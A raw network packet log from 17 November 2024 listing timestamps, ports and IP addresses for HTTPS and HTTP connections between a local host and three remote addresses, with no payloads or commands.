Nov 17, 2024 12:35:32.469563961 CET	443	49818	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:32.470544100 CET	443	49818	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:32.470618010 CET	49818	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:32.473179102 CET	49818	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:32.473247051 CET	443	49818	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:32.473411083 CET	49818	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:32.486884117 CET	443	49819	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:32.490585089 CET	49819	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:32.490609884 CET	443	49819	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:32.491944075 CET	443	49822	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:32.492120981 CET	443	49819	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:32.492182970 CET	49819	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:32.492307901 CET	49822	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:32.492371082 CET	443	49822	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:32.493185043 CET	49819	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:32.493277073 CET	443	49819	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:32.493350983 CET	49819	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:32.495999098 CET	443	49822	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:32.496069908 CET	49822	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:32.496881962 CET	49822	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:32.496970892 CET	443	49822	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:32.497025967 CET	49822	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:32.519334078 CET	443	49818	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:32.535383940 CET	443	49819	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:32.539374113 CET	443	49822	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:32.561801910 CET	443	49815	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.562505007 CET	49815	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.562527895 CET	443	49815	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.563134909 CET	49815	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.563141108 CET	443	49815	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.576056957 CET	443	49816	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.576714039 CET	49816	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.576733112 CET	443	49816	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.577249050 CET	49816	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.577255011 CET	443	49816	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.578532934 CET	443	49817	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.578967094 CET	49817	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.579010010 CET	443	49817	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.579473019 CET	49817	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.579488993 CET	443	49817	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.601735115 CET	49827	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:32.601803064 CET	443	49827	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:32.601886988 CET	49827	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:32.602499962 CET	49827	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:32.602515936 CET	443	49827	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:32.603535891 CET	443	49818	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:32.603600979 CET	49818	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:32.603842020 CET	49818	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:32.603872061 CET	443	49818	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:32.625174999 CET	443	49819	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:32.625307083 CET	443	49822	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:32.625372887 CET	49822	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:32.625406027 CET	49819	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:32.625657082 CET	49822	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:32.625665903 CET	443	49822	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:32.625938892 CET	49819	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:32.625957966 CET	443	49819	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:32.671341896 CET	443	49823	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.672097921 CET	49823	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.672132969 CET	443	49823	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.674789906 CET	49823	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.674798012 CET	443	49823	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.684124947 CET	443	49824	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.684591055 CET	49824	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.684659004 CET	443	49824	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.685101032 CET	49824	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.685115099 CET	443	49824	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.685229063 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.685550928 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.685569048 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.687031031 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.687289000 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.688385963 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.688466072 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.688554049 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.696377039 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.696435928 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.696470022 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:32.696471930 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.696512938 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:32.696512938 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:32.696527004 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.696559906 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.696605921 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:32.696605921 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:32.696611881 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.696640968 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.696659088 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:32.696690083 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.696715117 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:32.696726084 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.696769953 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:32.696769953 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:32.696783066 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.696907043 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:32.697314978 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.697360992 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:32.697491884 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.697551966 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:32.701756001 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.701896906 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:32.704188108 CET	443	49815	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.704325914 CET	443	49815	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.704463005 CET	49815	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.704521894 CET	49815	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.704521894 CET	49815	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.704536915 CET	443	49815	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.704549074 CET	443	49815	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.706001043 CET	443	49817	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.706027985 CET	443	49816	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.706079960 CET	443	49817	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.706137896 CET	443	49816	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.706238031 CET	49816	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.706267118 CET	49817	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.706302881 CET	49816	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.706315041 CET	443	49816	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.706327915 CET	49816	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.706335068 CET	443	49816	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.708169937 CET	49817	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.708179951 CET	443	49817	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.712008953 CET	49828	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.712029934 CET	443	49828	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.712172985 CET	49828	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.712480068 CET	49828	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.712490082 CET	443	49828	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.712641001 CET	49829	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.712668896 CET	443	49829	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.712810993 CET	49829	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.712970018 CET	49829	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.712989092 CET	443	49829	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.713213921 CET	49830	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.713219881 CET	443	49830	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.713279963 CET	49830	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.713371992 CET	49830	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.713375092 CET	443	49830	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.731345892 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.810370922 CET	443	49823	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.810579062 CET	443	49823	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.810695887 CET	49823	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.810734034 CET	49823	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.810743093 CET	443	49823	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.810756922 CET	49823	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.810760975 CET	443	49823	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.814153910 CET	49831	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.814179897 CET	443	49831	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.814354897 CET	49831	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.814419031 CET	49831	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.814429998 CET	443	49831	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.815614939 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.815628052 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.816904068 CET	443	49824	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.816982985 CET	443	49824	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.817087889 CET	49824	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.817214966 CET	49824	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.817224979 CET	443	49824	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.817260027 CET	49824	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.817265987 CET	443	49824	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.819812059 CET	49832	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.819844007 CET	443	49832	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.820003033 CET	49832	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.820146084 CET	49832	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:32.820157051 CET	443	49832	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:32.853193045 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.853254080 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.853296041 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:32.853296041 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:32.853332996 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.853377104 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.853388071 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.853409052 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.853441000 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:32.853441000 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:32.853501081 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:32.853535891 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.853589058 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.853730917 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:32.853763103 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.853818893 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.853866100 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:32.853868961 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.853902102 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.853948116 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:32.853948116 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:32.973170996 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.973192930 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.973211050 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.973280907 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.973289013 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:32.973289013 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:32.973299026 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.973341942 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:32.973341942 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:32.973700047 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.973716974 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.973733902 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.973750114 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.973759890 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:32.973768950 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.973813057 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:32.973813057 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:32.974303961 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.974319935 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:32.974363089 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:32.974488974 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.019157887 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.060937881 CET	49833	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:33.060976028 CET	443	49833	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:33.061039925 CET	49833	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:33.061283112 CET	49834	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:33.061357021 CET	443	49834	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:33.061517954 CET	49834	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:33.061706066 CET	49833	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:33.061719894 CET	443	49833	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:33.061849117 CET	49834	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:33.061877966 CET	443	49834	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:33.092710972 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.092750072 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.092767000 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.092782974 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.092804909 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.092808962 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.092808962 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.092824936 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.092880964 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.092880964 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.092940092 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.093017101 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.093025923 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.093064070 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.093064070 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.093137026 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.093153954 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.093169928 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.093204021 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.093204021 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.093235970 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.093882084 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.093934059 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.211327076 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.211344957 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.211359024 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.211395025 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.211405993 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.211407900 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.211555958 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.211561918 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.211630106 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.211643934 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.211714983 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.211714983 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.211745024 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.211755991 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.211766958 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.211812973 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.211812973 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.212465048 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.212516069 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.212526083 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.212594986 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.212594986 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.212832928 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.212892056 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.212912083 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.212946892 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.217727900 CET	443	49827	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:33.218099117 CET	49827	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:33.218112946 CET	443	49827	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:33.218427896 CET	443	49827	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:33.218740940 CET	49827	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:33.218807936 CET	443	49827	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:33.218914032 CET	49827	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:33.263322115 CET	443	49827	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:33.329830885 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.329855919 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.329869986 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.329895020 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.329931974 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.329945087 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.329969883 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.329969883 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.330116987 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.330164909 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.330178022 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.330203056 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.330203056 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.330239058 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.330256939 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.330271006 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.330307961 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.330307961 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.330868006 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.330915928 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.330928087 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.330948114 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.330948114 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.330991030 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.331018925 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.331032038 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.331058025 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.331149101 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.349713087 CET	443	49827	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:33.349786043 CET	49827	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:33.352482080 CET	49827	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:33.352502108 CET	443	49827	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:33.443061113 CET	443	49829	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.443715096 CET	49829	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.443734884 CET	443	49829	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.444442987 CET	49829	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.444447994 CET	443	49829	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.448470116 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.448538065 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.448553085 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.448601961 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.448601961 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.448645115 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.448647022 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.448656082 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.448668003 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.448730946 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.448730946 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.448863029 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.448873043 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.448915005 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.448992968 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.449052095 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.449064016 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.449188948 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.449199915 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.449243069 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.449243069 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.449671984 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.449734926 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.449743032 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.449754000 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.449779034 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.449795961 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.449872017 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.458053112 CET	443	49828	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.458570004 CET	49828	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.458600044 CET	443	49828	13.107.246.45	192.168.2.5
